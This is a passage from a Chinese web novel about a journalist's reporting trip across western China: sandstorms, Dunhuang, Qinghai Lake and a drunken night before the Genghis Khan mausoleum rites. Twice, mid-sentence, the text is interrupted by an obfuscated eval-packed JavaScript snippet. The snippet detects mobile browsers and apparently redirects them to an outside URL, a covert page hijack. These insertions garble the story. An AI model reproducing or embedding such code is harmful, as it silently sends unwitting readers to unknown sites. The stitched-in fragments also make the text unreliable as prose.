真正的草原在锡林郭勒。车子驶离公路后,世界陡然空旷。摄影记者摇下车窗拍照,风灌进来,带着畜粪和艾草混合的辛辣气息。小刘忽然哼起不知名的调子,歌声被风吹得断断续续。 “像是要起风。”叶葆启望着天边说。天际有一道黄线,正缓慢地膨胀。 起初他们没在意。沙地治理区的标语牌在车窗外闪过——“人进沙退”“绿染浑善达克”。为了拍一组治沙对比照,他们循着模糊的车辙印深入沙区。摄影记者说要等到斜阳最好的时刻,那时沙丘的阴影会像墨迹般分明。 影子尚未拉长,天就变了。 那道黄线已胀成幕布,吞没了半边天空。风突然有了实体,不再是气流,而是千万只无形的手,攥着沙砾往车上砸。噼啪声密如急雨,车窗瞬间蒙上厚厚的黄尘。小刘急打方向盘想掉头,车轮却在沙里空转,刨出两个绝望的坑。 “停车!”叶葆启的声音被风撕碎。 引擎熄火后,世界沉入一种诡异的轰鸣。风在车外嚎叫,像无数亡魂在旷野上奔跑。沙从缝隙钻进车内,落在他们的头发上、衣领里,甚至牙齿间一嚼便沙沙响。叶葆启摸出采访本,借着手电筒的光写字。笔尖划在纸上有滞涩的触感——沙已浸透纸纤维。 “记什么呢?”摄影记者问,声音发虚。 “记我们怎么死在这里。”叶葆启说完自己先笑了,笑声干巴巴的。他其实写的是:“天地不仁,以万物为刍狗。然刍狗亦有记事的本能。” 手电光晕里,浮尘漫舞如金粉。叶葆启忽然想起祖父——一个老私塾先生,总在油灯下用蝇头小楷抄写《史记》。老人说过:“史笔有千斤,因它扛着人命。”此刻这笔记本轻飘飘的,却压得他手腕发酸。 小刘摸索出卫星电话,天线伸出车窗的瞬间,风几乎将它折断。信号灯时明时灭,像垂死者的呼吸。等待救援的三小时里,时间被拉成黏稠的胶质。叶葆启闭眼假寐,却看见无数场景在眼皮底下翻涌:妻子晾衣服时踮脚的模样,女儿第一次走路摇晃如醉汉,总编辑鬓角新生的白发…… 直到车外传来驼铃。 叮当,叮当,穿透风声,清脆得不真实。三人同时坐直身体。摄影记者扑到车窗边,用袖子擦出一块透明——朦胧沙幕中,真有骆驼的剪影,一匹,两匹,三匹,背上骑着人影,袍角在风中猎猎如旗。 来的是个老牧民,叫□□,脸被风沙蚀成核桃般的纹路。他的汉语生硬,却足够指明方向。“跟着……骆驼脚印……”他比画着,眼睛在深陷的眼窝里亮得像两颗黑石子。 撤出沙区时已是深夜。□□邀请他们住进自家的蒙古包。包里弥漫着奶腥和柴烟味,火塘的光在包壁上投出巨大人影,晃动着,仿佛古老皮影戏。□□的妻子端上热奶茶,银碗边缘有细微的磕痕。 “这沙暴,”□□啜着茶说,“像马群,有领头的。你们遇上的不算大,真正的领头沙暴来的时候,天空会变成血红色,连骆驼都要跪下祈祷。” 叶葆启记下这话,并在旁边画了个小小的骆驼跪姿。采访本这一页的角落,粘着一粒沙,在火光照映下像微型的琥珀。 离开内蒙古前,他们见到了老王。副主席的办公室宽敞朴素,墙上挂着成吉思汗像和草原风光摄影。老王本人比照片上清瘦,握手时力道很足。听说他们来自《内海都市报》,他眼睛亮了亮。 “《内海都市报》,”他重复这个名字,手指轻叩桌面,“我年轻时在内海读书,常看。那时报纸还是竖排的。”他端详叶葆启,“你们报社选记者看身高吗?一个个像白杨树。” 采访变成闲聊。老王说起草原的退化与重生,说起一种叫“柠条”的灌木,根系能扎进沙地深处十数米。“治沙如医病,”他说,“急不得。你们内地人总想快,但草原有自己的时辰。” 这话叶葆启记在本子上,画了圈。后来写内蒙古篇时,他用了这个标题——《草原的时辰》。 南下进入宁夏,景象陡然不同。黄土塬上散布着村庄,像大地长出的疖子。他们在西吉县听到一个地名:华西村。起初以为是口误——那个华西村在江苏,是天下第一村。 “就是华西村,”当地宣传干事肯定地说,“江苏华西村来建的,一模一样。” 车子开进这个“克隆村”时,三人都沉默了。整齐划一的二层小楼,白墙红瓦,门前统一的小花园,甚至广场上那尊金牛雕像——都与他们在图片上见过的江苏华西村如出一辙。但背景不是江南水乡,而是赤裸的黄土山峦,反差强烈得近乎荒诞。 村长姓杨,是个精瘦的中年人,左手少了三根手指。“开山炸石时没的,”他轻描淡写地说,用残掌给他们递烟,“但值。你们看现在这村子。” 他带着他们走访。村民马大爷的家宽敞明亮,地上铺着瓷砖,反着冷白的光。老人执意要他们上炕坐,炕桌上摆着苹果和枣子——苹果是外地运来的,表皮打蜡,亮得不自然。 “以前住窑洞,”马大爷比画着,“一下雨就怕。现在这房子,雷劈都不怕。”他说起搬迁过程:如何拆旧窑,如何学用抽水马桶,如何在塑料大棚里种第一茬辣椒。“江苏来的技术员教我们,辣椒要夜里浇水,白天浇会得病。你看,种地都有新法子。” 叶葆启注意到屋角的神龛,供着观世音,香炉里积着新灰。传统与崭新在此诡异共存。 采访杨起之是在一个傍晚。他临时挤出时间,见面地点就在政府大院的一间小会客室。杨起之穿深色夹克,说话慢而沉,每句之间都有停顿,像在权衡字句的分量。 “这个华西村,是个镜子,”他说,“照出东西部,照出过去未来。但镜子里的像是反的,你们明白吗?江苏的华西村是靠自己富起来的,宁夏这个却是靠别人帮起来的。我们要的,是某一天,这镜子两面照出的都是堂堂正正的人。” 这话太深刻,叶葆启当时没完全领会。夜里在招待所整理笔记时,他忽然懂了:援助不是目的,而是让受援者最终不再需要援助。 那晚他梦见无数镜子,镜中都是同一个村庄,但细微处不同——有的镜里村口老槐树还在,有的镜里已经换成路灯;有的镜中人们穿传统服饰,有的已是西装牛仔裤。他在镜迷宫里行走,每个转角都遇见自己的背影。 甘肃的河西走廊像一条巨大的疤痕,横亘在中国地图的脖颈处。行驶在连霍高速上,两侧景色单调得催眠:左是祁连山残雪,右是无垠戈壁,中间这条黑色公路像切开大地的刀痕。 在敦煌,他们住进一家老招待所。院子里有棵胡杨,树干扭曲如挣扎的人体。老板娘说这树三百多岁了,“见过丝绸之路上的驼队,见过斯坦因的车马,现在又见你们”。 莫高窟的讲解员是个年轻女孩,嗓音沙哑,据说是在洞窟里说话太多伤了嗓子。她带他们看第96窟,那座九层楼里的弥勒大佛。仰头望去,佛的面容在昏暗光线中模糊,只有眼睑低垂的弧度清晰,悲悯而疏离。 “这是唐代原作,但历代重修过,”讲解员用手电照亮佛身下部,“你们看这里,衣纹的雕刻风格不一样。明代重修时加高了基座,清代又加了一次,佛像就‘长高’了近一米。” 手电光斑滑过佛脚、衣褶、莲台。叶葆启忽然生出幻觉:那佛在缓慢生长,像一棵树,年轮在不可见处累积。每个朝代都来添一层泥胎,刷一遍金粉,于是佛越来越高,离地越来越远,离最初的工匠——那个无名无姓的塑像师——也越来越远。 “为什么加高?”摄影记者问。 “信仰需要威严,”讲解员答得简洁,“佛越高大,人越渺小,就越虔诚。” 当晚在招待所,叶葆启睡不着,披衣走到院中。胡杨树在月光下投出狰狞影子。他点起烟,火星在黑暗里明灭。忽然想起祖父说过的一句话:“历史不是越积越厚,而是越磨越薄——像老铜钱,字迹磨平了,重量却还在。” 他回屋写下《莫高窟大佛“长高”之谜》。不是简单的考据,而是借佛的身高,写时间的沉积、权力的更迭、信仰的变形。写到结尾时,天已微亮,窗外传来第一声鸟鸣。他加了一段: “佛不会真的长高,长高的是人对神圣的想象。而这想象本身,也是一尊不断被重塑的佛。” 稿件传回报社后,总编辑亲自打来电话,只说了两个字:“好文。” 西行愈深,人烟愈稀。青海湖像一块被遗弃的蓝宝石,嵌在枯黄草甸中。他们到的时候正值湟鱼洄游季节,湖边浅滩里密密麻麻全是逆流而上的鱼群,河水被搅成浑浊的奶白色。 藏民向导才让说,这些鱼每十年才长一斤肉,“慢得像高原上的时间”。他带他们去祭海台,那里经幡密如森林,在风中哗响。才让教他们撒龙达——印着经文的彩色纸片,抛向空中时如蝶群纷飞。 “每片龙达上都写着祈愿,”才让说,“风把愿望带到神那里。” 叶葆启也撒了一把。纸片在上升气流中旋舞,有一片粘在他袖口上,他小心取下,见上面印的藏文如虫迹蜿蜒。他不懂意思,却觉得那形状本身就有某种神力,像古老的密码。 那晚他们住在湖边帐篷。深夜,叶葆启被寒意冻醒,钻出睡袋走出帐篷。银河正横贯天际,星光稠密得几乎流淌下来。湖面映着星空的倒影,天地在黑暗中连成一体。 他忽然感到一种渺小——不是沮丧的渺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904180|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小,而是释然的渺小。在这样浩瀚的星空下,个人的悲喜、事业的成败、甚至时代的更迭,都轻如一片龙达。他想起来西部前总编辑的嘱托:“记录变化。”但此刻他觉得,真正值得记录的,也许是那些不变的东西:星空、大地、人对美的向往、对意义的追寻。 身后传来脚步声,是摄影记者。 “睡不着?”叶葆启问。 “太安静了,耳朵嗡嗡响。”摄影记者点起烟,火光映亮他半边脸。他沉默了一会儿,说:“葆启,我拍了一万多张照片了。但最好的瞬间,往往是没带相机的时候。” 比如昨天在公路上,他们遇见一家磕长头的朝圣者。夫妇俩带着个十岁左右的男孩,额头上都绑着厚木板,手肘和膝盖裹着牛皮。每走三步便全身伏地,额头轻叩地面。动作机械而虔诚,像某种古老的钟摆。 摄影记者举起相机又放下。“拍了就像偷东西,”他当时说。 此刻在星空下,叶葆启理解了他。有些画面只该留在眼睛里,溶进血液里,变成记忆的一部分——而不是凝固在相纸上,成为可供展示的标本。 进入陕西时,春天真正来了。黄土高原的沟壑里,杏花开了,一簇簇粉白点缀在灰黄背景上,娇嫩得令人心碎。他们在延安采访老区建设,在黄帝陵看千年柏树,在西安古城墙下听秦腔——那嘶吼般的唱腔,像土地本身在发声。 返程前最后一天,车子出了故障。小刘趴在引擎盖上捣鼓两小时,满手油污,终于宣告:“得等配件,至少三天。” 他们被困在一个无名小镇。镇子只有一条街,街尾是汽车修理铺,街头是家小饭馆,中间散落着杂货店、理发铺、邮局——邮局的门永远半掩,玻璃柜台里摆着过时的邮票。 意外的滞留成了西行的句点。三天里,他们像当地人一样生活:早上吃豆浆油条,中午在饭馆和卡车司机拼桌,傍晚去镇外土坡上看日落。时间慢下来,慢得像才让说的湟鱼。 叶葆启用这时间整理笔记。三个厚本子写得满满当当,页角卷起,纸面有茶渍、油点、甚至不知哪次匆忙中滴上的蓝墨水。他重读那些文字,发现自己的笔迹在变化:起初工整谨慎,越往后越潦草飞扬,像被西部的风沙吹乱了筋骨。 最后一晚,修好的车停在招待所院里。三人坐在台阶上喝当地产的太白酒,酒烈而糙,烧得喉咙发烫。 “这一路,”小刘忽然说,“我开车开了四万三千七百公里。轮胎换了两次,保养六回。最险是那段盘山路,右边是悬崖,左边是落石区。我握着方向盘,手心全是汗,但一次都没怕过。” 摄影记者笑了:“我拍了十六卷胶片,数码相机内存卡满了三次。最满意的不是那些大场面,是在宁夏华西村,拍马大爷小孙女写作业——铅笔头秃了,她用牙咬着撕作业本边角当垫板,眼睛亮得像星星。” 叶葆启没说话。他想起很多画面:沙暴中□□骆驼的剪影,莫高窟佛眼里凝固的悲悯,青海湖边才让撒龙达时扬手的弧度,陕西杏花树下老农唱信天游时脖颈暴起的青筋……这些画面叠在一起,像一摞透明的胶片,共同显影出一个他从未真正了解过的中国。 “该给这次系列报道起个总标题了。”他说。 摄影记者提议:“西行漫记?” 小刘说:“太普通。” 叶葆启望着夜空——这里星空不如青海浓密,却有颗孤星特别亮,悬在正东方,像在引路。他想起祖父书架上那套《徐霞客游记》,想起古人总把远行叫“壮游”。 “叫《苍原墨迹》吧。”他说。 墨是黑的,原野是黄的,但墨落在纸上,记录下的一切,会生出超越黑与黄的颜色。 回内海是五月末。进城时下着小雨,车窗被雨丝织成模糊的水帘。熟悉的街景在帘后流动,有种不真实的亲切感。报社大楼依旧矗立,但叶葆启觉得,自己和它之间,隔着一整个西部的距离。 交接工作时,总编辑翻看他们的成果:文稿三十余万字,照片两千余张,还有沿途收集的纪念品——宁夏的贺兰石、甘肃的夜光杯、青海的牦牛骨雕。 “辛苦了。”总编辑只说这一句,但握手的力道说明更多。 叶葆启回到自己办公桌。桌上积了薄灰,他用手掌抹开,露出底下压着的全家福。照片里女儿还扎着羊角辫,现在该长高不少了。 他坐下来,开始写这次西行的最后一篇文章。不是报道,是随笔。标题就叫《归途》: “……我们总以为去远方是为寻找新奇,后来明白,是为确认恒常。西部的大地教会我一件事:最快的不是车轮,最亮的不是镜头,最深的不在笔尖。最快的风千年不改方向,最亮的是牧人眼里不灭的火,最深的是黄土下叠压的无数个昨天。 “而我们这些记录者,不过是偶尔路过的雁,在天空留下转瞬即逝的啼鸣。真正的大地静默如谜,它容纳一切痕迹,又抹平一切痕迹——包括我们自以为深刻的足迹。 “但还是要写,要拍,要走。因为每个时代都需要它的徐霞客,在苍原上留下属于这个时代的墨迹。墨会淡,纸会朽,但书写这个动作本身,已成永恒。” 写完最后一句,窗外雨停了。一道极淡的虹,从城市天际升起,弯弯地指向西方。 叶葆启合上笔记本。封皮上沾着一点宁夏的黄土,他轻轻拂去,土屑在夕阳的光柱里飞舞,像微型的、金色的沙暴。 29. 第029章 醉拍成陵 宁夏的休整短暂如驼队掠过沙丘的阴影。当越野车再次启动,向着鄂尔多斯高原驶去时,大地开始展露另一种性格——那是一种更为古老、更为沉默的质地。车窗外,逐渐褪去黄土高原的沟壑纵横,代之以一种辽阔的、带着青铜锈色的平坦。叶葆启靠在车窗边,看见云影在旷野上缓慢移动,像是天空在用巨大的手掌抚摸着大地的伤口。 “这地方,”摄影记者突然开口,打破了长达两小时的沉默,“埋着一个帝国的魂。” 他说这话时,正擦拭着那台尼康F4的取景器。相机在他手中转动,金属外壳反射着午后的阳光,一闪一闪,像某种隐秘的摩尔斯电码。小刘在副驾驶座上打盹,脑袋随着颠簸轻轻摇晃,像株成熟的向日葵。 叶葆启没有接话。他看见地平线上开始出现敖包的轮廓,石块垒成的锥形堆,顶上插着褪色的经幡,在风中猎猎作响。每一个敖包都是一句未完的祈祷,他想。而他们要去的那个地方,是这草原上最大的、最沉重的祈祷——成吉思汗陵。 抵达伊金霍洛旗时已是傍晚。成陵的金顶在落日余晖中燃烧,不是那种温暖的、让人心生慰藉的金色,而是一种冷冽的、带着金属质感的金光,仿佛千年前熔化的战剑在此凝固成形。三座蒙古包式宫殿一字排开,沉默地蹲踞在高原之上,像是三只巨大的、永远阖着眼的黄金兽。 空气中飘着淡淡的柏叶焚烧的气息,混着牛羊粪火的味道,还有一种更深邃的、叶葆启说不清道不明的东西——像是风化了的历史,碾碎成粉末,悬浮在每一寸空气里。 祭祀前夜的欢迎宴会设在旗招待所最大的蒙古包里。直径超过十五米的圆形空间,穹顶上绘着蓝天白云和盘旋的雄鹰。正中央立着巨大的铜制火盆,炭火正旺,噼啪作响,将每个人的脸映照得忽明忽暗。 主人是位五十来岁的蒙古族干部,脸颊上有着典型的高原红,眼睛细长,看人时总带着三分笑意,但眼底深处有种鹰隼般的锐利。他身穿深蓝色蒙古袍,腰系杏黄色绸带,银质腰扣上刻着盘肠纹。 “远道而来的朋友们,”他举起手中的银碗,碗沿镶嵌着一圈珊瑚和绿松石,“草原用风迎接你们,我们用酒温暖你们。” 歌声随即响起。不是一个人唱,而是一群穿着盛装的姑娘和小伙子,从蒙古包外鱼贯而入,手里都捧着银碗,歌声浑厚如从大地深处涌出: “金杯里斟满了醇香的奶酒 赛勒尔外冬赛 朋友们欢聚一堂共同干一杯 赛勒尔外冬赛……” 歌声是有重量的,叶葆启感觉到那旋律压在胸口,沉甸甸的。银碗已经递到面前,碗中的马奶酒泛着乳白色的微光,表面浮着细小的泡沫。他接过碗,指尖触到冰凉的银器,与碗中酒的温热形成奇异的反差。 按照规矩,要用无名指蘸酒,弹向天空、大地和火盆——敬天、敬地、敬火神。叶葆启照做了,酒液在空中划出短暂的弧线,落入火盆时发出“滋”的一声轻响,腾起一小股青烟,带着奶香和酒精混合的奇特气味。 他仰头喝下。酒液滑过喉咙,先是奶的醇厚,随即是酒的灼热,最后留存在舌根的是种微酸的、属于草原的野性余味。 摄影记者坐在他右边,眼睛已经亮了。叶葆启太熟悉这种亮光——那是他看见绝佳拍摄对象时才有的眼神,混合着贪婪、兴奋和一种近乎痛苦的专注。只是此刻,这眼神投向的不是某个画面,而是那些源源不断递来的银碗。 “唉,”叶葆启在第三碗后低声提醒,“这酒后劲大。” 摄影记者摆手,脸颊泛着红光:“放心,我心里有数。” 但叶葆启知道,他已经没数了。他看见摄影记者喝酒的节奏在变快,从最初的谨慎小口,到后来的仰头豪饮。他的笑声越来越大,开始用生硬的蒙语词汇回应敬酒,把“巴雅尔拉”(谢谢)说成了“巴雅尔啦”,多了一个拖长的尾音,引得蒙古族朋友们开怀大笑。 银碗在火光下流转,像一轮轮小月亮,被一双双手传递。歌声一轮接一轮,有时激昂如万马奔腾,有时低回如长调悲歌。叶葆启感到一种奇异的抽离感——他既在这个温暖喧嚣的蒙古包里,又仿佛站在包外寒冷的夜风中,透过毡房的缝隙窥视这场古老的仪式。 他看见摄影记者接了第六碗。这一次,敬酒的是位白发苍苍的老者,袍子的肘部已经磨得发亮,但眼神清亮如少年。他唱的不是寻常的敬酒歌,而是一段悠长的、带着颤音的古歌。歌词叶葆启听不懂,但那旋律让他想起干涸的河床、风化的岩石、被沙土半掩的白骨。 摄影记者接过碗,手有些抖。他看向叶葆启,眼神突然变得很清澈,清澈得近乎透明。他说:“葆启,这酒……这酒里能看见东西。” 然后他一饮而尽。 接下来的事情发生得像一场慢镜头电影。 摄影记者站起来,身子晃了晃。火盆里的火焰突然蹿高,将他的影子巨大地投射在穹顶上,那影子随着火焰跳动,变形,时而像骏马扬蹄,时而像弯弓欲射。他张开嘴,似乎想说什么,但发出的是一串含混的音节,既非汉语也非蒙语。 叶葆启赶紧起身扶住他。触手的瞬间,他惊讶地发现摄影记者的身体在轻微地震颤,不是醉酒的那种瘫软颤抖,而是一种有节奏的、几乎像心跳般的搏动。 “他看见祖先了。”那位敬酒的老者突然用汉语说,声音平静得像在陈述一个事实。 蒙古包里安静了一瞬。然后主人笑着说:“喝好了,喝好了!扶记者同志回去休息吧!” 叶葆启和小刘一左一右架着摄影记者往外走。掀开毡门帘的刹那,冷风扑面,带着草原深夜刺骨的寒。摄影记者突然剧烈挣扎,扭头看向成陵方向——三座宫殿在夜色中只剩下漆黑的剪影,唯有金顶反射着微弱的星光,像是三只沉睡巨兽半睁的眼。 “马……”摄影记者含糊地说,“好多马……在跑……” 小刘吓得脸色发白:“叶老师,张老师这是……” “醉酒,加上高原反应。”叶葆启说,但他心里知道没那么简单。摄影记者眼中的世界正在裂变,现实的边界在酒精和这片古老土地的双重作用下变得模糊不清。 回到招待所房间,他们把摄影记者安置在床上。他很快陷入昏睡,但睡得极不安稳,眼皮下的眼球快速转动,嘴唇无声地开合,像是在与某个看不见的存在对话。半夜两点,他突然坐起,眼睛睁得极大,直勾勾盯着空白的墙壁。 “光,”他说,“墙在发光。” 叶葆启打开灯。墙壁就是普通的白色涂料墙,除了他们的影子,什么都没有。 “现在呢?”叶葆启问。 摄影记者看了很久,缓缓摇头:“灭了。”然后又倒下睡去。 叶葆启再无睡意。他坐在靠窗的椅子上,看着窗外黑黢黢的草原。远处传来零星的狗吠,更远的地方,也许有狼嚎,但被风声掩盖,听不真切。他想起了莫言小说里的场景——那些喝醉后看见亡灵的人物,那些在现实与幻觉边界上游走的灵魂。他一直以为那是文学的夸张,但此刻,在这片埋着成吉思汗衣冠冢的土地上,他开始怀疑,也许有些边界本就比纸还薄。 凌晨四点,摄影记者开始呕吐。吐出来的不止是酒和食物,还有一种深绿色的、带着苦味的液体。小刘惊慌失措,叶葆启却相对镇定——他记起小时候在山东老家,老人说人若撞了邪,会吐出“绿色的魂”。 吐完后,摄影记者反而清醒了些,能认出人了,但头疼欲裂,连抬手的力气都没有。 “葆启,”他声音嘶哑,“明天……明天我完了。” 窗外,天色开始泛白。第一缕晨光爬上成陵的金顶,像一把无形的刷子,将黑暗一寸寸涂成铁青色。 祭祀早晨七点开始。六点半,叶葆启最后一次试图叫醒摄影记者,后者只勉强睁开眼,又迅速闭上,仿佛眼皮有千斤重。 “相机……”摄影记者从牙缝里挤出两个字,“你去……” 那台尼康F4就在床头柜上,黑色机身冷峻如一块经过精密计算的金属。叶葆启平时也用相机,但多是傻瓜相机或者借摄影记者的备机拍些记录性画面。这台F4是摄影记者的命根子,全手动操作,光是各种按钮和转盘就有二十多个。 叶葆启拿起相机,重量出乎意料——不仅是物理上的沉重,更是一种责任的重量。透过取景器看出去,世界被切割成一个矩形,边缘锐利,中央清晰。这钢铁之眼将如何看见这场祭祀?他不知道。 小刘留在房间照顾摄影记者,叶葆启独自走向祭祀广场。清晨的寒风如刀子,割在脸上生疼。空气中桑烟的味道已经弥漫开来,不是单纯的柏叶香,还混着炒米、奶食和酥油的气息。这是一种复杂的、属于祭祀的嗅觉谱系。 媒体区设在广场东南角,用红绳简单围出。已经有几十家媒体的记者到位,长枪短炮林立,镜头在晨光中闪烁,像一片金属的荆棘丛。叶葆启找了一个相对靠前但不太显眼的位置。他检查相机:胶卷已装好,是摄影记者提前准备的柯达E100VS反转片,高饱和度,适合拍摄色彩浓烈的场面。 他回忆摄影记者教过的要点:拍大场面用f/8到f/11的光圈,保证景深;快门速度不能低于1/125秒,因为人物会动;长焦镜头容易抖,要屏住呼吸,在呼气与吸气的间隙按下快门。 但他的手指还是僵硬的。不是因为冷,而是因为恐惧——对搞砸的恐惧,对亵渎的恐惧,对无法用镜头捕捉那不可言说之物的恐惧。 七点整,号角声响起。不是录制播放的,而是真正的、用牛角制成的号角,声音低沉苍凉,像是从大地深处发出,震得人胸腔发麻。仪仗队从陵宫正门走出,清一色的深蓝色蒙古袍,头戴貂皮帽,手持苏鲁锭长矛——那是成吉思汗军队的象征,长矛顶端是铁制的矛尖,下面系着黑色的马鬃,在风中如波浪般起伏。 叶葆启端起相机。取景器里,世界变成了另一种存在。那些行走的人不再是具体的人,而是光影、线条、色彩的构成。他按下第一次快门,“咔嗒”声在周围密集的快门声中几乎被淹没。 祭祀的核心环节是“察罕苏力德祭”,即祭拜白色神旗。九位达尔扈特人——世代守护成陵的守陵人后裔——抬出一面巨大的白色旗帜,旗面绣着金色的雄鹰。旗杆有碗口粗,需要三人合抱。 桑烟已经点燃。不是简单的焚烧柏叶,而是一种复杂的仪式:先在香炉中铺一层烧红的炭,再撒上柏叶、炒米、奶食、白糖,最后浇上酥油。火焰轰然腾起,浓白的烟雾笔直上升,在无风的早晨如一根连接天地的乳白色柱子。 透过取景器,叶葆启看见烟雾上升的轨迹发生了奇异的变化。在某个瞬间,烟雾不再是单纯的物理现象,而像是有生命的东西——它扭动、盘旋、舒展,形成各种难以名状的形状。他想起摄影记者醉酒后的话:“这酒里能看见东西。” 也许不是酒的问题,他想。也许是这片土地本身就有让事物显形的能力。 他连续按下快门,调整光圈,从f/5.6到f/16,记录烟雾在不同景深下的状态。汗水从额头滑落,滴在相机顶部的液晶屏上,他慌忙用袖子擦去。 最重要的环节到来:敬献哈达。八十一匹白马被牵入广场——不是真正的八十一匹,而是象征性的九匹,但在此刻的仪式逻辑中,它们就是八十一匹。每一匹马都披着彩缎,额心点着朱砂。达尔扈特人将一条条蓝色的哈达——蓝色象征长生天——敬献给成吉思汗的画像。 媒体被允许稍微靠近。叶葆启挤到最前面,半跪在地,将相机稳在膝盖上。他做了一个大胆的决定:改用慢门。快门速度调到1/15秒,光圈相应缩小。这意味着任何微小的抖动都会让画面模糊,但如果成功,就能捕捉到哈达飘动的轨迹与人像的静态形成的对比。 第一条哈达被献上时,他按下快门。在长达1/15秒的曝光时间里,世界在他眼中变慢了。他看见哈达如蓝色的河流在空中流淌,看见献哈达者的手臂缓慢抬起,看见周围的人群如海底的水草般轻轻摇曳。他屏住呼吸,仿佛自己的呼吸都会震动大地。 “咔嗒。”快门闭合。 他不敢看结果,继续拍摄。第二条、第三条……直到九条哈达全部献完。他的手指因持续用力而颤抖,肩颈肌肉酸痛如被撕裂,但精神却异常清醒,清醒得能听见自己心跳与远处鼓点的共振。 当天下午,摄影记者勉强恢复,补拍了祭祀结束后的其他活动。但他的状态明显不对,眼神涣散,按快门的手指迟疑不决,错过了好几个关键瞬间。叶葆启看在眼里,没说什么。他知道有些东西一旦破碎,短时间内难以复原——无论是身体还是某种更深层的东西。 晚上,他们找到旗里唯一能冲洗专业反转片的照相馆。老板是个汉族中年人,少言寡语,但暗房设备出奇地专业。听说要冲祭祀的片子,他特地换上了新的显影液和定影液。 “这种片子,”他摸着一卷柯达E100VS,“能看见人眼看不见的东西。” 暗房只有四平米大,红色的安全灯让一切蒙上血色。叶葆启、摄影记者和小刘挤在里面,看着老板熟练地将胶片装入显影罐。液体倒入的声音在寂静中格外清晰。 等待的时间被无限拉长。摄影记者不停地看表,尽管表盘在红灯下只是一团模糊的光斑。叶葆启靠着墙,闻着醋酸和定影液混合的刺鼻气味,突然想起小时候在老家看杀猪——也是这样一个密闭空间,也是这种血腥的光线,也是等待某种转化完成。 “时间到了。”老板说。 他将胶片从显影罐中取出,夹在吊绳上。湿漉漉的胶片在红灯下反射着幽光,上面的影像还看不真切。老板打开水洗槽,让流水缓缓冲刷胶片。水流声中,影像逐渐浮现。 第一张是仪仗队的全景。出乎所有人意料,画面异常沉稳,构图严谨,地平线笔直地将天地分割,仪仗队恰好处于黄金分割线上。光影处理得极好,晨光斜射,在深蓝色蒙古袍上勾勒出金色的边缘。 摄影记者凑近看,鼻尖几乎碰到湿胶片:“这……这是你拍的?” 叶葆启点头。 第二张是桑烟升起。更惊人的事情出现了:在烟雾最浓密处,似乎隐约可见某种形状——像马头,又像展翅的鹰。摄影记者倒吸一口凉气:“你用了什么滤镜?” “什么都没用。”叶葆启说。他也看见了那个形状,但他宁愿相信是烟雾自然形成的巧合。 一张张看下去,叶葆启拍的部分没有一张废片。虽然不是摄影记者那种充满张力和戏剧性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他停顿,似乎在组织语言:“然后我看见了光。从每匹马的额头射出,在夜空中交织成网。网的中心,就是成陵的金顶。那光不是金色,是银色,冷冰冰的,像月光,但比月光亮一千倍。” “醉酒的幻觉。”叶葆启说。 “也许。”摄影记者躺下,盯着天花板,“但今天你拍的这些照片——尤其是烟雾里的形状——让我又开始怀疑。也许不是幻觉,也许我真的看见了,只是用眼睛看不见的方式。” 他侧过身,面向叶葆启:“你知道最可怕的是什么吗?是我竟然有点庆幸。庆幸我喝醉了,错过了拍摄。因为如果我清醒着去拍,一定会拼命抓那些表面的、戏剧性的东西,反而会错过真正重要的——你拍到的这种……这种‘气息’。” 叶葆启想起莫言小说里的一句话,随口说出来:“有时候,醉眼看世界,反而更清楚。” 摄影记者笑了,这是他从昨天醉酒后第一次真正地笑:“这话谁说的?” “一个老家的作家。” “他说得对。” 第二天写稿时,叶葆启详细记述了这段插曲。但他没有简单地写成“醉酒误事”,而是试图捕捉那种复杂的、悖论的状态:摄影记者因醉酒错过了拍摄,却在醉酒中看见了某种本质;叶葆启因顶替而紧张,却因紧张而全神贯注,反而拍出了超越技术水平的东西。 他在稿子最后写道: “新闻记者总是追求清醒、客观、冷静。但在这片古老的土地上,在与八百年前的灵魂对话的场合,绝对的清醒也许恰恰是一种盲目。摄影记者的醉,让他暂时剥去了职业的外壳,以赤裸的感官触碰到了草原的魂;我的醒,则让我以职业的框架捕捉到了仪式的形。醉与醒,在此形成了一种辩证:没有醉时的敞开,醒时的记录可能流于表面;没有醒时的控制,醉时的体验只能停留在私人幻觉。 成陵的祭祀年复一年,桑烟升起又散去。我们这些外来者,带着相机和笔记本,试图捕捉那些不可捕捉之物。也许最好的状态,是半醉半醒——醉到足以让边界的围墙坍塌,醒到还能记得按下快门。” 稿子发回报社后引起热议。摄影部主任特意打来电话,说那张慢门哈达的照片已经决定用作下一期摄影专刊的封面。更让叶葆启意外的是,摄影记者主动提出,那组照片的署名应该用他们两人的名字。 “没有我的醉,就没有你的醒。”摄影记者说,“这是共同作品。” 离开鄂尔多斯的那天早晨,他们特意绕道成陵,做最后的告别。清晨的陵园空无一人,只有守陵人在远处慢悠悠地打扫。金顶在朝阳下依然闪耀,但少了祭祀那天的神圣威严,多了几分日常的宁静。 叶葆启站在广场中央,闭上眼睛。风从耳边掠过,带来远处羊群的叫声和更远处拖拉机的轰鸣。现代与古老,日常与神圣,在此刻交织成这片土地的复调。 摄影记者没有带相机。他说今天不拍照,只用眼睛看。但他看了很久,眼神不再是记者那种扫描式的观察,而是更深沉的凝视,像是要把这片风景刻进记忆里。 上车前,小刘从兜里掏出三块小石头,递给叶葆启和摄影记者一人一块:“我在陵宫后面捡的,做纪念。” 石头很普通,灰褐色,表面粗糙。但握在手心,能感觉到阳光留下的余温。叶葆启把石头放进上衣口袋,贴着胸口的位置。 越野车再次启动,向西,向更深的西部驶去。后视镜里,成陵的金顶越来越小,最终消失在地平线下。 摄影记者忽然说:“你们说,成吉思汗真的葬在那里吗?” 